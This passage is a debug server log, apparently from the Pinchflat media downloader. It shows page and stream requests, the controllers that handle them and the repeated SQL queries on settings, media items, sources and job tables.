18:14:18.884 [debug] QUERY OK source="settings" db=0.0ms idle=90.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.884 [debug] QUERY OK source="settings" db=0.0ms idle=19.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.885 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.885 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.886 [info] Sent 200 in 2ms 18:14:18.973 [info] GET /sources/1/media/1564171/edit 18:14:18.973 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1564171", "source_id" => "1"} Pipelines: [:browser] 18:14:18.974 [debug] QUERY OK source="media_items" db=0.1ms idle=89.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564171] 18:14:18.974 [debug] QUERY OK source="settings" db=0.0ms idle=89.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.974 [debug] QUERY OK source="settings" db=0.0ms idle=89.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.974 [debug] QUERY OK source="settings" db=0.0ms idle=89.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.975 [info] Sent 200 in 1ms 18:14:19.065 [info] GET /sources/1/media/1564180/edit 18:14:19.065 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1564180", "source_id" => "1"} Pipelines: [:browser] 18:14:19.066 [debug] QUERY OK source="media_items" db=0.1ms idle=180.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564180] 18:14:19.066 [debug] QUERY OK source="settings" db=0.0ms idle=92.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:19.066 [debug] QUERY OK source="settings" db=0.0ms idle=92.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:19.067 [debug] QUERY OK source="settings" db=0.0ms idle=92.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:19.067 [info] Sent 200 in 2ms 18:14:19.155 [info] GET /sources/1/media/1563843 18:14:19.155 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563843", "source_id" => "1"} Pipelines: [:browser] 18:14:19.156 [debug] QUERY OK source="media_items" db=0.1ms idle=181.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563843] 18:14:19.156 [debug] QUERY OK source="tasks" db=0.1ms idle=90.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563843] 18:14:19.156 [debug] QUERY OK source="sources" db=0.1ms idle=89.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:19.156 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=90.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3772609] 18:14:19.156 [debug] QUERY OK source="settings" db=0.0ms idle=89.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:19.157 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:19.157 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:19.157 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:19.158 [info] Sent 200 in 2ms 18:14:19.247 [info] GET /sources/25/media/1562685 18:14:19.247 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562685", "source_id" => "25"} Pipelines: [:browser] 18:14:19.247 [debug] QUERY OK source="media_items" db=0.1ms idle=90.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562685] 18:14:19.248 [debug] QUERY OK source="tasks" db=0.0ms idle=91.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562685] 18:14:19.248 [debug] QUERY OK source="sources" db=0.1ms idle=90.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:19.248 [debug] QUERY OK source="settings" db=0.0ms idle=91.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:19.248 [debug] QUERY OK source="settings" db=0.0ms idle=90.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:19.248 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:19.249 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:19.249 [info] Sent 200 in 2ms 18:14:30.370 [info] {"source":"oban","duration":7735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:38.125 [info] GET /media/af934af7-24bd-4338-af58-fcef0bae7962/stream 18:14:38.125 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "af934af7-24bd-4338-af58-fcef0bae7962"} Pipelines: [:maybe_basic_auth] 18:14:38.126 [debug] QUERY OK source="media_items" db=0.5ms idle=1247.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["af934af7-24bd-4338-af58-fcef0bae7962"] 18:14:38.126 [debug] Invalid range request for media item: af934af7-24bd-4338-af58-fcef0bae7962 - serving full file 18:14:38.126 [info] Sent 200 in 1ms 18:14:38.190 [info] GET /sources/36/media/1564179 18:14:38.190 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564179", "prevent_download" => "true", "source_id" => "36"} Pipelines: [:browser] 18:14:38.191 [debug] QUERY OK source="media_items" db=0.1ms idle=1312.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564179] 18:14:38.191 [debug] QUERY OK source="tasks" db=0.1ms idle=1312.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564179] 18:14:38.191 [debug] QUERY OK source="sources" db=0.1ms idle=1308.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 18:14:38.191 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=307.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3798654] 18:14:38.191 [debug] QUERY OK source="settings" db=0.1ms idle=65.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.192 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.192 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.192 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:38.193 [info] Sent 200 in 2ms 18:14:38.266 [info] GET /sources/1/media/1564180 18:14:38.266 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564180", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 18:14:38.266 [debug] QUERY OK source="media_items" db=0.1ms idle=74.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564180] 18:14:38.266 [debug] QUERY OK source="tasks" db=0.0ms idle=74.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564180] 18:14:38.266 [debug] QUERY OK source="sources" db=0.1ms idle=74.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:38.267 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=74.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3799134] 18:14:38.267 [debug] QUERY OK source="settings" db=0.1ms idle=74.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.267 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.267 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.267 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:38.268 [info] Sent 200 in 2ms 18:14:38.309 [info] GET /sources/37/media/1564182 18:14:38.309 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564182", "prevent_download" => "true", "source_id" => "37"} Pipelines: [:browser] 18:14:38.309 [debug] QUERY OK source="media_items" db=0.2ms idle=42.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564182] 18:14:38.309 [debug] QUERY OK source="tasks" db=0.1ms idle=42.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564182] 18:14:38.310 [debug] QUERY OK source="sources" db=0.1ms idle=42.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 18:14:38.310 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=42.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3799488] 18:14:38.310 [debug] QUERY OK source="settings" db=0.1ms idle=42.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.310 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.310 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:38.311 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:38.312 [info] Sent 200 in 3ms 18:14:38.357 [info] GET /sources/25/media/1564178 18:14:38.357 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564178", "prevent_download" => "true", "source_id" => "25"} Pipelines: [:browser] 18:14:38.358 [debug] QUERY OK source="media_items" db=0.1ms idle=47.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564178] 18:14:38.358 [debug] QUERY OK source="tasks" db=0.1ms idle=47.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564178] 18:14:38.358 [debug] QUERY OK source="sources" db=0.2ms idle=47.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:38.358 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=47.7ms SELECT 